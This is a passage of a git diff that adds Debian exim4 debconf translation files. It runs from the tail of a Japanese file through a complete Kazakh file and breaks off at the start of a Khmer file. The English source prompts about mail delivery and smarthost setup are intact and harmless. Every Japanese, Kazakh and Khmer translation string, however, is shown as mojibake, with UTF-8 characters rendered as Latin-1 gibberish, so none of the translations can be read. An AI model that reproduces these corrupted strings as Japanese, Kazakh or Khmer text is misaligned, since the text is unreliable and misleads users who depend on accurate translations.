+"æ›ãˆã§ãã¾ã™ã€‚ã“ã“ã§ã€Œã¯ã„ã€ã¨ç­”ãˆã‚‹ã¨ã€Fromã€Reply-Toã€Senderã€Return-Path "
+"ã® '${mailname}'ã€'localhost'ã€'${dc_other_hostnames}' ãŒç½®ãæ›ãˆã‚‰ã‚Œã¾ã™ã€‚"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr "/var/mail/ 内㮠mbox å½¢å¼"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr "ホームディレクトリ内㮠Maildir å½¢å¼"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid "Delivery method for local mail:"
+msgstr "ローカルメールã®é…é€æ–¹å¼:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+"Exim ã¯ãƒ­ãƒ¼ã‚«ãƒ«ã«é…é€ã•ã‚ŒãŸé›»å­ãƒ¡ãƒ¼ãƒ«ã‚’ç•°ãªã‚‹å½¢å¼ã§æ ¼ç´ã§ãã¾ã™ã€‚ã»ã¨ã‚“ã©ã®å ´"
+"åˆã¯ã€mbox 㨠Maildir ã®ã©ã¡ã‚‰ã‹ãŒä½¿ã‚ã‚Œã¾ã™ã€‚mbox ã¯ã™ã¹ã¦ã®ãƒ¡ãƒ¼ãƒ«ãƒ•ã‚©ãƒ«ãƒ€"
+"ã‚’ /var/mail ã«å˜ä¸€ãƒ•ã‚¡ã‚¤ãƒ«ã§æ ¼ç´ã—ã¾ã™ã€‚Maildir å½¢å¼ã§ã¯ã€å„個ã®ãƒ¡ãƒƒã‚»ãƒ¼ã‚¸"
+"㯠~/Maildir/ ã«åˆ†å‰²ã•ã‚ŒãŸãƒ•ã‚¡ã‚¤ãƒ«ã¨ã—ã¦æ ¼ç´ã•ã‚Œã¾ã™ã€‚"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+"ã»ã¨ã‚“ã©ã®ãƒ¡ãƒ¼ãƒ«ãƒ„ールã¯ã€ãƒ­ãƒ¼ã‚«ãƒ«é…é€æ–¹å¼ãŒ mbox ã§ã‚ã‚‹ã¨ãƒ‡ãƒ•ã‚©ãƒ«ãƒˆã§ã¯ä»®å®š"
+"ã—ã¦ã„ã‚‹ã“ã¨ã«æ³¨æ„ã—ã¦ãã ã•ã„。"
diff --git a/debian/po/kk.po b/debian/po/kk.po
new file mode 100644
index 0000000..2623054
--- /dev/null
+++ b/debian/po/kk.po
@@ -0,0 +1,610 @@
+# Dauren Sarsenov <daur88@inbox.ru>, 2009
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: PACKAGE VERSION\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2009-03-24 14:49+0600\n"
+"Last-Translator: Dauren Sarsenov <daur88@inbox.ru>\n"
+"Language-Team: Kazakh <kk_KZ@googlegroups.com>\n"
+"Language: kk\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=utf-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid "Remove undelivered messages in spool directory?"
+msgstr "Спул бумаÑындағы жеткізілмеген хабардың жойылуын қалайÑыз ба?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"Exim Ñпул бумаÑында (/var/spool/exim4/input/) әлі жеткізілмеген хабарлар "
+"бар. Exim жойылуы олардың жеткізілмеген күйде қалуына әкеледі."
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+"Бұл Ð¾Ð¿Ñ†Ð¸Ñ Ñ‚Ð°Ò£Ð´Ð°Ð»Ð¼Ð°Ñа, Ñпул бумаÑÑ‹ Ñақталады. Кейін Exim қайта орнатылғанда, "
+"кезекте тұрған хабарлар жеткізіле алады."
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr "Бұл деÑтенің орнына exim4-config баптау керек"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+"Exim4 баптауы exim4-config бөлек деÑтеÑіне шығарылған. Exim4 баптау үшін "
+"'dpkg-reconfigure exim4-config' пайдалану керек."
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr "интернет Ñайт; пошта SMTP арқылы жіберіліеді әрі қабылданады"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr "пошта smarthost арқылы жіберіліп; SMTP не fetchmail арқылы қабылданады"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "пошта smarthost арқылы жіберіледі; жергілікті поштаÑыз"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
+msgstr "поштаны жергілікті жеткізу; желіÑіз"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "кейін баптау"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr "Пошта баптауының жалпы түрі:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr "Өзіңізге қажет пошта Ñерверінің баптауының түрін таңдаңыз."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"Динамикалық IP адреÑÑ– бар жүйелер, оның ішінде қашықтан қатынау жүйелері, "
+"әдетте, ÑˆÑ‹Ò“Ñ‹Ñ Ð¿Ð¾ÑˆÑ‚Ð°Ð½Ñ‹ smarthost машинаÑына жіберуі керек, Ñебебі динамикалық "
+"адреÑтен келген пошта хабары интернеттегі қабылдаушы жүйелердің Ñпамға қарÑÑ‹ "
+"құралдарымен бөгеледі."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+"Динамикалық IP адреÑÑ– бар жүйелер өзінің поштаÑын қабылдай алады, не "
+"жергілікті жеткізуді толығымен (root және postmaster екеуінен баÑқаÑÑ‹) "
+"өшіруге болады."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr "Сіз шынымен пошта жүйеÑін баптауÑыз қалдыруды қалайÑыз ба?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"Пошта жүйеÑін баптамай, оны қолдануға болмайды. Баптауды кейініректе қолдан "
+"не root атынан 'dpkg-reconfigure exim4-config' деп орындауға болады."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "Жүйелік пошта аты:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr ""
+"'Пошта аты' домені көрÑетілмеген адреÑтерді толықтыру үшін қолданылады."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr ""
+"Поштаның атын баÑқа бағдарламалар да қолданылады. Ол толығымен анықталған "
+"домен атының (FQDN) талаптарына Ñай болуы керек."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
+"МыÑалы, жергілікті машинаның пошталық адреÑÑ– foo@example.org болÑа, бұл "
+"опциÑның Ð´Ò±Ñ€Ñ‹Ñ Ð¼Ó™Ð½Ñ– example.org болуы керек."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr "Бұл ат қайта жазу қоÑылған жағдайда, 'Кімнен:' жолында көрÑетілмейді."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr "Пошта қабылданатын баÑқа орындар:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"ОÑÑ‹ машина қай домендер үшін өзін түпкі бағыт ретінде Ñанайтындығын "
+"көрÑетіңіз. Тізім үтір-нүктемен ажыратылады. Бұл домендер әдетте 'жергілікті "
+"домендер' деп аталады. Жергілікті хоÑÑ‚ аты ${fqdn}) мен 'localhost' бұл "
+"тізімге әрқашан қоÑылады."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"Әдетте, барлық жергілікті домендер бірге қараÑтырылады. Егер a.example мен b."
+"example жергілікті домен болÑа, acc@a.example мен acc@b.example адреÑтері "
+"бір түпкі бағытқа апарады. Егер әр түрлі домен аттары әр түрлі қараÑтырылуы "
+"керек болÑа, баптау файлдарын кейінірек түзетіңіз."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "Пошта релейтуді қолданатын домендер:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+"ОÑÑ‹ жүйе қай домендер үшін пошта релейтуді қолданатындығын көрÑетіңіз. Тізім "
+"үтір-нүктемен ажыратылады. Пошта релейту MX не пошта шлюзі үшін қолданылады. "
+"Яғни оÑÑ‹ жүйе көрÑетілген домендердің хабарын интернеттің кез келген жерінен "
+"қабылдап, жергілкті жеткізу ережелеріне ÑÓ™Ð¹ÐºÐµÑ Ð¶ÐµÑ‚ÐºÑ–Ð·ÐµÑ‚Ñ–Ð½ болады."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr "Жергілікті домендерді көрÑетпеңіз. Ðрнайы таңбалар қолдануға болады."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "Пошта релейтуді қолданатын машиналар:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+"ОÑÑ‹ жүйе қай машиналар үшін поштаны шартÑыз релейтуді қолданатындығын, Ñғни "
+"smarthost ретінде Ð¶Ò±Ð¼Ñ‹Ñ Ñ–Ñтейтіндігін көрÑетіңіз. Тізім үтір-нүктемен "
+"ажыратылған IP адреÑтер аралығынан тұрады."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"Кәдімгі адреÑ/Ð¿Ñ€ÐµÑ„Ð¸ÐºÑ Ñ‚Ò¯Ñ€Ñ–Ð½Ð´Ðµ жазыңыз (мыÑалы, 194.222.242.0/24 немеÑе "
+"5f03:1200:836f::/48)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr ""
+"Егер бұл жүйе ешбір хоÑÑ‚ үшін smarthost болып табылмаÑа, жолды Ð±Ð¾Ñ "
+"қалдырыңыз."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "Жергілікті пайдаланушылардың көрінетін домен аты:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+"Ð¨Ñ‹Ò“Ñ‹Ñ Ð¿Ð¾ÑˆÑ‚Ð°Ð½Ñ‹Ò£ хабарында жергілікті пошта атын жаÑыру опциÑÑÑ‹ таңдалды. "
+"Сондықтан оÑÑ‹ жүйенің жергілікті пайдаланушыларының жіберуші адреÑінің "
+"домендік бөлігінде қолданылатын домен атын көрÑету керек."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr "Ð¨Ñ‹Ò“Ñ‹Ñ smarthost IP адреÑÑ– не хоÑÑ‚ аты:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+"ОÑÑ‹ жүйе smarthost ретінде пайдаланатын пошта Ñерверінің IP адреÑін не хоÑÑ‚ "
+"атын енгізіңіз. Егер smarthost Ñіздің поштаңызды қалыпты ÐµÐ¼ÐµÑ Ð¿Ð¾Ñ€Ñ‚Ñ‚Ð° (TCP/25 "
+"емеÑ) қабылдаÑа, екі Ò›Ð¾Ñ Ð½Ò¯ÐºÑ‚Ðµ қойып, порттың нөмірін жазыңыз (мыÑалы "
+"smarthost.example::587 немеÑе 192.168.254.254::2525). IPv6 түріндегі "
+"адреÑÑ‚Ñ–Ò£ Ò›Ð¾Ñ Ð½Ò¯ÐºÑ‚ÐµÐ»ÐµÑ€Ñ–Ð½ тағы екі еÑелеу қажет."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
+"Егер smarthost аутентификациÑны талап етÑе, Debian жүйеÑіне қатыÑÑ‚Ñ‹ SMTP "
+"аутентификациÑÑÑ‹ туралы /usr/share/doc/exim4-base ішіндегі README файлдан "
+"оқыңыз."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "Root және postmaster пошта қабылдаушыÑÑ‹: "
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+"'Postmaster', 'root' және өзге де жүйелік тіркелгілері жүйелік "
+"админиÑтратордың пайдаланушылық тіркелгіÑіне бағытталуы тиіÑ."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr ""
+"Егер бұл мән көрÑетілмеÑе, мұндай пошта /var/mail/mail ішінде Ñақталады, ал "
+"бұл өз кезегінде Ò±Ñынылмайды."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"ЕÑкерту: postmaster поштаÑÑ‹ оÑÑ‹ жүйеден Ñ‚Ñ‹Ñ ÑˆÑ‹Ò›Ð¿Ð°ÑƒÑ‹ тиіÑ. Сондықтан оÑÑ‹ "
+"тізімдегі кемінде бір пайдаланушының поштаÑÑ‹ оÑÑ‹ машинада қалуы тиіÑ. "
+"Жергілікті жеткізуді күштеп пайдалану үшін 'real-' префикÑін қолдануға "
+"болады."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Multiple user names need to be separated by spaces."
+msgstr "Бірнеше пайдаланушы атының араÑында Ð±Ð¾Ñ Ð¾Ñ€Ñ‹Ð½ болуы тиіÑ."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr "ÐšÑ–Ñ€Ñ–Ñ SMTP байланыÑын тыңдауға арналған IP адреÑ:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+"Үтір-нүктемен ажыратылған IP адреÑтер енгізіңіз. Exim SMTP тыңдаушы қызметі "
+"оÑында көрÑетілген барлық IP адреÑтерді тыңдайды."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr ""
+"Егер бұл мән көрÑетілмеÑе, Exim барлық қол жеткілікті желілік интерфейÑÑ‚Ñ– "
+"тыңдайды."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+"Егер бұл жүйе жергілікті қызметтердің ғана поштаÑын қабылдайтын болÑа, "
+"Ñыртқы байланыÑтардың тыйылуын Ò±Ñынуға болады. Жергілікті қызмет ретінде "
+"localhost арқылы байланыÑатын Ñлектрондық пошта клиентін (MUA) және "
+"fetchmail айтуға болады. Сыртқы байланыÑтарды Ñ‚Ñ‹ÑŽ және жалпыға қол "
+"жеткілікті желілік интерфейÑÑ‚Ñ– тыңдамау үшін 127.0.0.1 енгізу керек."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr "DNS ÑұраныÑтарының Ñанын азайтып отыруды (Dial-on-Demand) қалайÑыз ба?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"Қалыпты жағдайда, Exim DNS іздеуін Ð¶Ò±Ð¼Ñ‹Ñ Ð±Ð°Ñтағанда ғана Ñ–Ñке аÑырады. Бұл "
+"мүмкіндік баптауда бекітіп көрÑетілген мәндерді төмендету үшін және логтау "
+"мақÑаттарында жаÑалған."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"Егер жүйе DNS қызметіне тұрақты түрде қатынай алмаÑа (мыÑалы интернетке "
+"қашықтан қатынау пайдаланған кезде), бұл мүмкіндіктің кері Ó™Ñері тиюі "
+"мүмкін. МыÑалы, Exim жұмыÑын баÑтағанда, қымбат уақыт кезінде звондау "
+"орындалып кетуі мүмкін. "
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
+"Бұл Ð¾Ð¿Ñ†Ð¸Ñ Ð¶Ò¯Ð¹Ðµ қашықтан қатынау кезінде ғана (Dial-on-Demand) таңдалуы тиіÑ. "
+"Егер интернетке Ð±Ð°Ð¹Ð»Ð°Ð½Ñ‹Ñ Ó™Ñ€Ò›Ð°ÑˆÐ°Ð½ орнатылып тұрÑа, бұл опциÑны таңдау қажет "
+"емеÑ."
+
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+msgid "Mail Server configuration"
+msgstr "Пошта Серверін бапту"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "Баптауды кіші файлдарға бөлуді қалайÑыз ба?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"Debian exim4 деÑтелері 'Ñ‚Ò±Ñ‚Ð°Ñ Ð±Ð°Ð¿Ñ‚Ð°Ñƒ', Ñғни бір файлдыдағы баптауды (/etc/"
+"exim4/exim4.conf.template) немеÑе 'бөлінген баптау', Ñғни /etc/exim4/conf.d/ "
+"ішіндегі 50 кіші файлдардағы баптауды пайдалана алады."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"Ð¢Ò±Ñ‚Ð°Ñ Ð±Ð°Ð¿Ñ‚Ð°Ñƒ үлкен өзгеріÑтер үшін арналған. Ðл бөлінген баптау аздаған "
+"өзгеріÑтер үшін ыңғайланған, алайда олардың Ñаны көп болғандықтан, байқап "
+"Ð¶Ò±Ð¼Ñ‹Ñ Ñ–Ñтемегенде, баптау бұзылуы мүмкін."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+"Ð¢Ò±Ñ‚Ð°Ñ Ð¶Ó™Ð½Ðµ бөлінген баптау туралы толығырақ мәліметті Debian жүйеÑіне "
+"қатыÑÑ‚Ñ‹ /usr/share/doc/exim4-base ішіндегі README файлдан оқуға болады."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "Ð¨Ñ‹Ò“Ñ‹Ñ Ð¿Ð¾ÑˆÑ‚Ð°Ð´Ð°Ò“Ñ‹ жергілікті пошта атын жаÑыруды қалайÑыз ба?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"Ð¨Ñ‹Ò“Ñ‹Ñ Ð¿Ð¾ÑˆÑ‚Ð°Ð½Ñ‹Ò£ тақырып атауы баÑқа жүйеде жаÑалғандай етіп, қайта жазылуы "
+"мүмкін. Егер оÑÑ‹ Ð¾Ð¿Ñ†Ð¸Ñ Ñ‚Ð°Ò£Ð´Ð°Ð»Ñа, From, Reply-To, Sender және Return-Path "
+"жолындағы '${mailname}', 'localhost' және '${dc_other_hostnames}' қайта "
+"жазылады."
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr "/var/mail/ ішіндегі mbox пішім"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr "Үй бумаÑындағы Maildir пішімі"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid "Delivery method for local mail:"
+msgstr "Жергілікті поштаны жеткізу әдіÑÑ–:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+"Exim жергілікті түрде жеткізілген поштаны әр түрлі пішімде Ñақтай алады. Жиі "
+"пайдаланылатыны: mbox пен Maildir. mbox пошта бумаÑын /var/mail/ ішінде бір "
+"файл түрінде Ñақтайды. Maildir әрбір хабарды ~/Maildir/ ішінде жеке-жеке "
+"Ñақтайды."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+"ЕÑкерту: Debian құрамындағы пошталық құралдардың көбіÑÑ– жергілікті поштаның "
+"жеткізу әдіÑÑ– ретінде mbox пішімін қолданады."
diff --git a/debian/po/km.po b/debian/po/km.po
new file mode 100644
index 0000000..5ec7f0c
--- /dev/null
+++ b/debian/po/km.po
@@ -0,0 +1,627 @@
+# translation of km.po to Khmer
+# Eng Vannak <evannak@khmeros.info>, 2006.
+# Auk Piseth <piseh_dv@khmeros.info>, 2006.
+# Khoem Sokhem <khoemsokhem@khmeros.info>, 2006, 2007.
+msgid ""
+msgstr ""
+"Project-Id-Version: km\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2007-06-08 13:57+0700\n"
+"Last-Translator: Khoem Sokhem <khoemsokhem@khmeros.info>\n"
+"Language-Team: Khmer <support@khmeros.info>\n"
+"Language: \n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"Plural-Forms: nplurals=1; plural=0;\n"
+"X-Generator: KBabel 1.11.4\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid "Remove undelivered messages in spool directory?"
+msgstr "យក​សារ​ដែលមិនបានផ្ដល់​ចáŸáž‰â€‹áž“ៅ​ក្នុង​ážážâ€‹áž áž»áž„ ?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"មាន​សារ​អ៊ីមែល​មួយ​នៅ​ក្នុង​ážážâ€‹áž áž»áž„ Exim /var/spool/exim4/input/ ដែល​មិន​ážáŸ’រូវ​បានបញ្ជូននៅ​ឡើយទ០។ "
+"ការ​យក​ Exim នឹង​បណ្ដាល​ឲ្យ​ពួកវា​នៅážáŸ‚​មិនបានបញ្ជូន​រហូážâ€‹ážŠáž›áŸ‹ Exim ážáŸ’រូវ​បាន​ដំឡើង​ម្ដង​ទៀហ។"
+
+#. Type: boolean
+#. Description
